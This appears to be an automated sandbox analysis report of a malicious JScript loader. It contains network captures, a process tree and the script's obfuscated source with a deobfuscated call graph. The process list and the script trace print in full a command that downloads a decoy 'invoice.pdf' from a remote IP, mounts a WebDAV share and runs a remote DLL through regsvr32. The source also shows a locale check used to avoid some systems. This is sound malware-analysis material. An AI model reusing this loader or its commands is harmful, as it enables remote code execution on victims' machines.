Jan 10, 2025 20:47:20.008047104 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 20:47:20.008083105 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 20:47:20.008111954 CET	104	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 10, 2025 20:47:20.014411926 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1440	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:47:21.928227901 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:47:22.736994982 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:47:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:47:11
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\929826576149214658.js"
Imagebase:	0x7ff738ad0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:47:12
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Imagebase:	0x7ff6ce2f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:47:12
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:47:12
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:47:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:47:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ce2f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:47:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a2a00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:47:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:47:21
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:47:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,14477637777086308567,2676894783168855443,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vwqnzknc() {	vwqnzknc() ➔ undefined
1	pzznqmbij = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rgkgifgo = this[nutgzmca + klyym + yqnkeu + ugtpkxtvj + gyacasibb + yizsaokea + wjvlvk + vxjpl] ( this[nfgleenl + cpxbxmhoa + hutheqoa + yqnkeu + xtmwf + nutgzmca + vxjpl][eusnxt + yqnkeu + gyacasibb + klyym + vxjpl + gyacasibb + gpqqqchh + rojtaglep + jxuijnaz + gyacasibb + hutheqoa + vxjpl] ( nfgleenl + cpxbxmhoa + hutheqoa + yqnkeu + xtmwf + nutgzmca + vxjpl + rbwwqeuf + cpxbxmhoa + dmrygdltg + gyacasibb + mzacgwe + mzacgwe ) [wulyvpil + gyacasibb + xqrjdbvq + wulyvpil + gyacasibb + klyym + tyhkm] ( efowmsm + hooafnf + rjqgew + uuxvvanzd + uolryw + eusnxt + lmyyqk + wulyvpil + wulyvpil + rjqgew + kcpnkigk + cpmdjahfx + uolryw + lmyyqk + cpxbxmhoa + rjqgew + wulyvpil + enbsscs + eusnxt + ebfubzmp + wjvlvk + vxjpl + yqnkeu + ebfubzmp + mzacgwe + yvrsctr + njdojgl + klyym + wjvlvk + gyacasibb + mzacgwe + enbsscs + yizsaokea + wjvlvk + vxjpl + gyacasibb + yqnkeu + wjvlvk + klyym + vxjpl + xtmwf + ebfubzmp + wjvlvk + klyym + mzacgwe + enbsscs + xukzaywm + ebfubzmp + hutheqoa + klyym + mzacgwe + gyacasibb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( omtbqiu = 0 ; omtbqiu < pzznqmbij[mzacgwe + gyacasibb + wjvlvk + xqrjdbvq + vxjpl + dmrygdltg] ; ++ omtbqiu )
4	{
5	if ( rgkgifgo == pzznqmbij[omtbqiu] )
6	{
7	rgkgifgo = true;
8	break ;
9	}
10	}
11	if ( rgkgifgo !== true )
12	this[nfgleenl + cpxbxmhoa + hutheqoa + yqnkeu + xtmwf + nutgzmca + vxjpl][dkiadhmp + fiilvxv + xtmwf + vxjpl] ( );
13	this[nfgleenl + cpxbxmhoa + hutheqoa + yqnkeu + xtmwf + nutgzmca + vxjpl][eusnxt + yqnkeu + gyacasibb + klyym + vxjpl + gyacasibb + gpqqqchh + rojtaglep + jxuijnaz + gyacasibb + hutheqoa + vxjpl] ( nfgleenl + cpxbxmhoa + hutheqoa + yqnkeu + xtmwf + nutgzmca + vxjpl + rbwwqeuf + cpxbxmhoa + dmrygdltg + gyacasibb + mzacgwe + mzacgwe ) [yqnkeu + fiilvxv + wjvlvk] ( hutheqoa + qybga + tyhkm + yvrsctr + snsqpsfl + hutheqoa + yvrsctr + nutgzmca + ebfubzmp + xvlxqikvt + gyacasibb + yqnkeu + ugtpkxtvj + dmrygdltg + gyacasibb + mzacgwe + mzacgwe + rbwwqeuf + gyacasibb + vjgvepw + gyacasibb + yvrsctr + vigcv + eusnxt + ebfubzmp + qybga + qybga + klyym + wjvlvk + tyhkm + yvrsctr + yjlbu + yizsaokea + wjvlvk + udxsyzpjk + ebfubzmp + potdydh + gyacasibb + vigcv + nfgleenl + gyacasibb + rojtaglep + wulyvpil + gyacasibb + sprqzktyz + fiilvxv + gyacasibb + ugtpkxtvj + vxjpl + yvrsctr + vigcv + gpqqqchh + fiilvxv + vxjpl + ymzrxn + xtmwf + mzacgwe + gyacasibb + yvrsctr + hwbpavbzu + vxjpl + gyacasibb + qybga + nutgzmca + hwbpavbzu + enbsscs + xtmwf + wjvlvk + udxsyzpjk + ebfubzmp + xtmwf + hutheqoa + gyacasibb + rbwwqeuf + nutgzmca + tyhkm + lzricb + yvrsctr + dmrygdltg + vxjpl + vxjpl + nutgzmca + pinhlps + snsqpsfl + snsqpsfl + mzpesyz + kpaed + fzqtceoj + rbwwqeuf + mzpesyz + hfckaibst + fzqtceoj + rbwwqeuf + mzpesyz + rbwwqeuf + hitfc + rwxkj + dxsdgrp + snsqpsfl + xtmwf + wjvlvk + udxsyzpjk + ebfubzmp + xtmwf + hutheqoa + gyacasibb + rbwwqeuf + nutgzmca + dmrygdltg + nutgzmca + yjlbu + dmymjgtr + dmymjgtr + ugtpkxtvj + vxjpl + klyym + yqnkeu + vxjpl + yvrsctr + hwbpavbzu + vxjpl + gyacasibb + qybga + nutgzmca + hwbpavbzu + enbsscs + xtmwf + wjvlvk + udxsyzpjk + ebfubzmp + xtmwf + hutheqoa + gyacasibb + rbwwqeuf + nutgzmca + tyhkm + lzricb + dmymjgtr + dmymjgtr + hutheqoa + qybga + tyhkm + yvrsctr + snsqpsfl + hutheqoa + yvrsctr + wjvlvk + gyacasibb + vxjpl + yvrsctr + fiilvxv + ugtpkxtvj + gyacasibb + yvrsctr + enbsscs + enbsscs + mzpesyz + kpaed + fzqtceoj + rbwwqeuf + mzpesyz + hfckaibst + fzqtceoj + rbwwqeuf + mzpesyz + rbwwqeuf + hitfc + rwxkj + dxsdgrp + bfsrf + oixfj + oixfj + oixfj + oixfj + enbsscs + tyhkm + klyym + udxsyzpjk + xvlxqikvt + xvlxqikvt + xvlxqikvt + yqnkeu + ebfubzmp + ebfubzmp + vxjpl + enbsscs + dmymjgtr + dmymjgtr + hutheqoa + qybga + tyhkm + yvrsctr + snsqpsfl + hutheqoa + yvrsctr + yqnkeu + gyacasibb + xqrjdbvq + ugtpkxtvj + udxsyzpjk + yqnkeu + fzqtceoj + hitfc + yvrsctr + snsqpsfl + ugtpkxtvj + yvrsctr + enbsscs + enbsscs + mzpesyz + kpaed + fzqtceoj + rbwwqeuf + mzpesyz + hfckaibst + fzqtceoj + rbwwqeuf + mzpesyz + rbwwqeuf + hitfc + rwxkj + dxsdgrp + bfsrf + oixfj + oixfj + oixfj + oixfj + enbsscs + tyhkm + klyym + udxsyzpjk + xvlxqikvt + xvlxqikvt + xvlxqikvt + yqnkeu + ebfubzmp + ebfubzmp + vxjpl + enbsscs + fzqtceoj + mzpesyz + mzpesyz + dxsdgrp + dxsdgrp + fzqtceoj + fzqtceoj + hfckaibst + mzpesyz + bewzzvcw + oixfj + hitfc + rwxkj + rbwwqeuf + tyhkm + mzacgwe + mzacgwe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll",0,false) ➔ 0
14	}
15	fzqtceoj = "s";
16	fzqtceoj = "3";
17	hitfc = "d";
18	hitfc = "J";
19	hitfc = "l";
20	hitfc = "B";
21	hitfc = "2";
22	rwxkj = "S";
23	rwxkj = "k";
24	rwxkj = "s";
25	rwxkj = "M";
26	rwxkj = "V";
27	rwxkj = "j";
28	rwxkj = "R";
29	rwxkj = "Z";
30	rwxkj = "V";
31	rwxkj = "L";
32	rwxkj = "K";
33	rwxkj = "g";
34	rwxkj = "X";
35	rwxkj = "X";
36	rwxkj = "y";
37	rwxkj = "M";
38	rwxkj = "z";
39	rwxkj = "L";
40	rwxkj = "m";
41	rwxkj = "Z";
42	rwxkj = "Z";
43	rwxkj = "O";
44	rwxkj = "x";
45	rwxkj = "h";
46	rwxkj = "q";
47	rwxkj = "w";
48	rwxkj = "n";
49	rwxkj = "D";
50	rwxkj = "0";
51	rjqgew = "k";
52	rjqgew = "v";
53	rjqgew = "h";
54	rjqgew = "A";
55	rjqgew = "m";
56	rjqgew = "A";
57	rjqgew = "K";
58	rjqgew = "Y";
59	rjqgew = "P";
60	rjqgew = "l";
61	rjqgew = "Z";
62	rjqgew = "E";
63	dmrygdltg = "Q";
64	dmrygdltg = "S";
65	dmrygdltg = "o";
66	dmrygdltg = "V";
67	dmrygdltg = "d";
68	dmrygdltg = "u";
69	dmrygdltg = "D";
70	dmrygdltg = "A";
71	dmrygdltg = "a";
72	dmrygdltg = "D";
73	dmrygdltg = "D";
74	dmrygdltg = "j";
75	dmrygdltg = "z";
76	dmrygdltg = "E";
77	dmrygdltg = "j";
78	dmrygdltg = "s";
79	dmrygdltg = "O";
80	dmrygdltg = "h";
81	enbsscs = "M";
82	enbsscs = "Y";
83	enbsscs = "D";
84	enbsscs = "k";
85	enbsscs = "k";
86	enbsscs = "p";
87	enbsscs = "L";
88	enbsscs = "x";
89	enbsscs = "\\";
90	snsqpsfl = "F";
91	snsqpsfl = "d";
92	snsqpsfl = "M";
93	snsqpsfl = "J";
94	snsqpsfl = "L";
95	snsqpsfl = "M";
96	snsqpsfl = "N";
97	snsqpsfl = "g";
98	snsqpsfl = "e";
99	snsqpsfl = "P";
100	snsqpsfl = "F";
101	snsqpsfl = "u";
102	snsqpsfl = "O";
103	snsqpsfl = "V";
104	snsqpsfl = "p";
105	snsqpsfl = "/";
106	rbwwqeuf = "P";
107	rbwwqeuf = "c";
108	rbwwqeuf = "E";
109	rbwwqeuf = "l";
110	rbwwqeuf = "T";
111	rbwwqeuf = "d";
112	rbwwqeuf = "R";
113	rbwwqeuf = "Q";
114	rbwwqeuf = "s";
115	rbwwqeuf = "h";
116	rbwwqeuf = "P";
117	rbwwqeuf = "U";
118	rbwwqeuf = "N";
119	rbwwqeuf = "n";
120	rbwwqeuf = "M";
121	rbwwqeuf = "O";
122	rbwwqeuf = "a";
123	rbwwqeuf = "a";
124	rbwwqeuf = "a";
125	rbwwqeuf = "y";
126	rbwwqeuf = "p";
127	rbwwqeuf = "W";
128	rbwwqeuf = "k";
129	rbwwqeuf = "W";
130	rbwwqeuf = "u";
131	rbwwqeuf = "H";
132	rbwwqeuf = "a";
133	rbwwqeuf = "B";
134	rbwwqeuf = "h";
135	rbwwqeuf = "B";
136	rbwwqeuf = "S";
137	rbwwqeuf = "z";
138	rbwwqeuf = "Y";
139	rbwwqeuf = "T";
140	rbwwqeuf = "L";
141	rbwwqeuf = "B";
142	rbwwqeuf = "Q";
143	rbwwqeuf = "t";
144	rbwwqeuf = ".";
145	uuxvvanzd = "K";
146	uuxvvanzd = "w";
147	uuxvvanzd = "O";
148	uuxvvanzd = "Z";
149	uuxvvanzd = "Z";
150	uuxvvanzd = "q";
151	uuxvvanzd = "C";
152	uuxvvanzd = "T";
153	uuxvvanzd = "j";
154	uuxvvanzd = "y";
155	uuxvvanzd = "c";
156	uuxvvanzd = "z";
157	uuxvvanzd = "J";
158	uuxvvanzd = "P";
159	uuxvvanzd = "Z";
160	uuxvvanzd = "q";
161	uuxvvanzd = "x";
162	uuxvvanzd = "Y";
163	bfsrf = "q";
164	bfsrf = "l";
165	bfsrf = "G";
166	bfsrf = "b";
167	bfsrf = "r";
168	bfsrf = "B";
169	bfsrf = "i";
170	bfsrf = "r";
171	bfsrf = "r";
172	bfsrf = "V";
173	bfsrf = "E";
174	bfsrf = "c";
175	bfsrf = "x";
176	bfsrf = "@";
177	cpmdjahfx = "d";
178	cpmdjahfx = "A";
179	cpmdjahfx = "a";
180	cpmdjahfx = "t";
181	cpmdjahfx = "G";
182	cpmdjahfx = "O";
183	cpmdjahfx = "D";
184	cpmdjahfx = "t";
185	cpmdjahfx = "r";
186	cpmdjahfx = "A";
187	cpmdjahfx = "n";
188	cpmdjahfx = "h";
189	cpmdjahfx = "Y";
190	cpmdjahfx = "G";
191	cpmdjahfx = "n";
192	cpmdjahfx = "S";
193	cpmdjahfx = "h";
194	cpmdjahfx = "D";
195	cpmdjahfx = "b";
196	cpmdjahfx = "J";
197	cpmdjahfx = "E";
198	cpmdjahfx = "V";
199	cpmdjahfx = "C";
200	cpmdjahfx = "Q";
201	cpmdjahfx = "R";
202	cpmdjahfx = "C";
203	cpmdjahfx = "x";
204	cpmdjahfx = "X";
205	cpmdjahfx = "Y";
206	cpmdjahfx = "e";
207	cpmdjahfx = "s";
208	cpmdjahfx = "l";
209	cpmdjahfx = "G";
210	cpmdjahfx = "T";
211	kpaed = "j";
212	kpaed = "x";
213	kpaed = "h";
214	kpaed = "E";
215	kpaed = "q";
216	kpaed = "z";
217	kpaed = "B";
218	kpaed = "H";
219	kpaed = "Q";
220	kpaed = "E";
221	kpaed = "o";
222	kpaed = "F";
223	kpaed = "U";
224	kpaed = "y";
225	kpaed = "j";
226	kpaed = "P";
227	kpaed = "9";
228	nfgleenl = "n";
229	nfgleenl = "S";
230	nfgleenl = "b";
231	nfgleenl = "v";
232	nfgleenl = "q";
233	nfgleenl = "D";
234	nfgleenl = "U";
235	nfgleenl = "b";
236	nfgleenl = "D";
237	nfgleenl = "R";
238	nfgleenl = "H";
239	nfgleenl = "x";
240	nfgleenl = "H";
241	nfgleenl = "W";
242	pinhlps = "n";
243	pinhlps = "f";
244	pinhlps = "S";
245	pinhlps = "i";
246	pinhlps = "L";
247	pinhlps = "B";
248	pinhlps = "y";
249	pinhlps = "E";
250	pinhlps = "q";
251	pinhlps = "b";
252	pinhlps = "Z";
253	pinhlps = "g";
254	pinhlps = "F";
255	pinhlps = "t";
256	pinhlps = "L";
257	pinhlps = "E";
258	pinhlps = "v";
259	pinhlps = "V";
260	pinhlps = "f";
261	pinhlps = "E";
262	pinhlps = "M";
263	pinhlps = "V";
264	pinhlps = "Z";
265	pinhlps = "r";
266	pinhlps = ":";
267	yqnkeu = "l";
268	yqnkeu = "y";
269	yqnkeu = "R";
270	yqnkeu = "Q";
271	yqnkeu = "u";
272	yqnkeu = "Z";
273	yqnkeu = "H";
274	yqnkeu = "A";
275	yqnkeu = "I";
276	yqnkeu = "V";
277	yqnkeu = "l";
278	yqnkeu = "a";
279	yqnkeu = "v";
280	yqnkeu = "s";
281	yqnkeu = "o";
282	yqnkeu = "w";
283	yqnkeu = "b";
284	yqnkeu = "c";
285	yqnkeu = "E";
286	yqnkeu = "F";
287	yqnkeu = "A";
288	yqnkeu = "r";
289	eusnxt = "d";
290	eusnxt = "M";
291	eusnxt = "D";
292	eusnxt = "c";
293	eusnxt = "o";
294	eusnxt = "M";
295	eusnxt = "j";
296	eusnxt = "z";
297	eusnxt = "d";
298	eusnxt = "q";
299	eusnxt = "y";
300	eusnxt = "O";
301	eusnxt = "D";
302	eusnxt = "y";
303	eusnxt = "x";
304	eusnxt = "Y";
305	eusnxt = "k";
306	eusnxt = "g";
307	eusnxt = "O";
308	eusnxt = "H";
309	eusnxt = "O";
310	eusnxt = "I";
311	eusnxt = "Q";
312	eusnxt = "g";
313	eusnxt = "K";
314	eusnxt = "C";
315	njdojgl = "P";
316	njdojgl = "r";
317	njdojgl = "e";
318	njdojgl = "u";
319	njdojgl = "M";
320	njdojgl = "x";
321	njdojgl = "P";
322	njdojgl = "s";
323	njdojgl = "O";
324	njdojgl = "f";
325	njdojgl = "q";
326	njdojgl = "o";
327	njdojgl = "J";
328	njdojgl = "e";
329	njdojgl = "P";
330	vigcv = "K";
331	vigcv = "l";
332	vigcv = "M";
333	vigcv = "M";
334	vigcv = "d";
335	vigcv = "U";
336	vigcv = "d";
337	vigcv = "W";
338	vigcv = "Q";
339	vigcv = "M";
340	vigcv = "g";
341	vigcv = "p";
342	vigcv = "k";
343	vigcv = "z";
344	vigcv = "s";
345	vigcv = "X";
346	vigcv = "y";
347	vigcv = "b";
348	vigcv = "M";
349	vigcv = "p";
350	vigcv = "Z";
351	vigcv = "l";
352	vigcv = "p";
353	vigcv = "X";
354	vigcv = "l";
355	vigcv = "t";
356	vigcv = "G";
357	vigcv = "o";
358	vigcv = "U";
359	vigcv = "N";
360	vigcv = "-";
361	hwbpavbzu = "V";
362	hwbpavbzu = "Z";
363	hwbpavbzu = "I";
364	hwbpavbzu = "x";
365	hwbpavbzu = "m";
366	hwbpavbzu = "F";
367	hwbpavbzu = "f";
368	hwbpavbzu = "d";
369	hwbpavbzu = "P";
370	hwbpavbzu = "r";
371	hwbpavbzu = "P";
372	hwbpavbzu = "T";
373	hwbpavbzu = "r";
374	hwbpavbzu = "W";
375	hwbpavbzu = "G";
376	hwbpavbzu = "I";
377	hwbpavbzu = "K";
378	hwbpavbzu = "z";
379	hwbpavbzu = "x";
380	hwbpavbzu = "s";
381	hwbpavbzu = "b";
382	hwbpavbzu = "I";
383	hwbpavbzu = "d";
384	hwbpavbzu = "w";
385	hwbpavbzu = "Q";
386	hwbpavbzu = "b";
387	hwbpavbzu = "s";
388	hwbpavbzu = "o";
389	hwbpavbzu = "U";
390	hwbpavbzu = "g";
391	hwbpavbzu = "W";
392	hwbpavbzu = "E";
393	hwbpavbzu = "L";
394	hwbpavbzu = "K";
395	hwbpavbzu = "F";
396	hwbpavbzu = "q";
397	hwbpavbzu = "o";
398	hwbpavbzu = "f";
399	hwbpavbzu = "Y";
400	hwbpavbzu = "H";
401	hwbpavbzu = "W";
402	hwbpavbzu = "d";
403	hwbpavbzu = "s";
404	hwbpavbzu = "%";
405	lmyyqk = "l";
406	lmyyqk = "p";
407	lmyyqk = "F";
408	lmyyqk = "u";
409	lmyyqk = "o";
410	lmyyqk = "C";
411	lmyyqk = "D";
412	lmyyqk = "u";
413	lmyyqk = "W";
414	lmyyqk = "U";
415	hfckaibst = "C";
416	hfckaibst = "T";
417	hfckaibst = "B";
418	hfckaibst = "R";
419	hfckaibst = "h";
420	hfckaibst = "Y";
421	hfckaibst = "g";
422	hfckaibst = "R";
423	hfckaibst = "C";
424	hfckaibst = "T";
425	hfckaibst = "q";
426	hfckaibst = "w";
427	hfckaibst = "I";
428	hfckaibst = "J";
429	hfckaibst = "o";
430	hfckaibst = "4";
431	fiilvxv = "i";
432	fiilvxv = "q";
433	fiilvxv = "g";
434	fiilvxv = "y";
435	fiilvxv = "o";
436	fiilvxv = "q";
437	fiilvxv = "E";
438	fiilvxv = "s";
439	fiilvxv = "c";
440	fiilvxv = "x";
441	fiilvxv = "x";
442	fiilvxv = "p";
443	fiilvxv = "y";
444	fiilvxv = "k";
445	fiilvxv = "F";
446	fiilvxv = "F";
447	fiilvxv = "e";
448	fiilvxv = "G";
449	fiilvxv = "z";
450	fiilvxv = "u";
451	fiilvxv = "E";
452	fiilvxv = "Q";
453	fiilvxv = "t";
454	fiilvxv = "v";
455	fiilvxv = "J";
456	fiilvxv = "g";
457	fiilvxv = "Z";
458	fiilvxv = "h";
459	fiilvxv = "O";
460	fiilvxv = "I";
461	fiilvxv = "i";
462	fiilvxv = "L";
463	fiilvxv = "t";
464	fiilvxv = "e";
465	fiilvxv = "T";
466	fiilvxv = "U";
467	fiilvxv = "W";
468	fiilvxv = "K";
469	fiilvxv = "B";
470	fiilvxv = "B";
471	fiilvxv = "U";
472	fiilvxv = "c";
473	fiilvxv = "D";
474	fiilvxv = "v";
475	fiilvxv = "u";
476	hutheqoa = "v";
477	hutheqoa = "I";
478	hutheqoa = "g";
479	hutheqoa = "F";
480	hutheqoa = "k";
481	hutheqoa = "x";
482	hutheqoa = "P";
483	hutheqoa = "L";
484	hutheqoa = "F";
485	hutheqoa = "Y";
486	hutheqoa = "p";
487	hutheqoa = "s";
488	hutheqoa = "n";
489	hutheqoa = "B";
490	hutheqoa = "m";
491	hutheqoa = "H";
492	hutheqoa = "L";
493	hutheqoa = "Q";
494	hutheqoa = "t";
495	hutheqoa = "r";
496	hutheqoa = "g";
497	hutheqoa = "Q";
498	hutheqoa = "z";
499	hutheqoa = "S";
500	hutheqoa = "i";
501	hutheqoa = "G";
502	hutheqoa = "b";
503	hutheqoa = "o";
504	hutheqoa = "r";
505	hutheqoa = "L";
506	hutheqoa = "S";
507	hutheqoa = "U";
508	hutheqoa = "c";
509	wjvlvk = "J";
510	wjvlvk = "B";
511	wjvlvk = "e";
512	wjvlvk = "T";
513	wjvlvk = "a";
514	wjvlvk = "y";
515	wjvlvk = "Z";
516	wjvlvk = "f";
517	wjvlvk = "y";
518	wjvlvk = "i";
519	wjvlvk = "m";
520	wjvlvk = "F";
521	wjvlvk = "R";
522	wjvlvk = "g";
523	wjvlvk = "G";
524	wjvlvk = "m";
525	wjvlvk = "K";
526	wjvlvk = "g";
527	wjvlvk = "u";
528	wjvlvk = "W";
529	wjvlvk = "s";
530	wjvlvk = "U";
531	wjvlvk = "G";
532	wjvlvk = "I";
533	wjvlvk = "G";
534	wjvlvk = "X";
535	wjvlvk = "T";
536	wjvlvk = "K";
537	wjvlvk = "o";
538	wjvlvk = "x";
539	wjvlvk = "N";
540	wjvlvk = "i";
541	wjvlvk = "n";
542	wjvlvk = "X";
543	wjvlvk = "D";
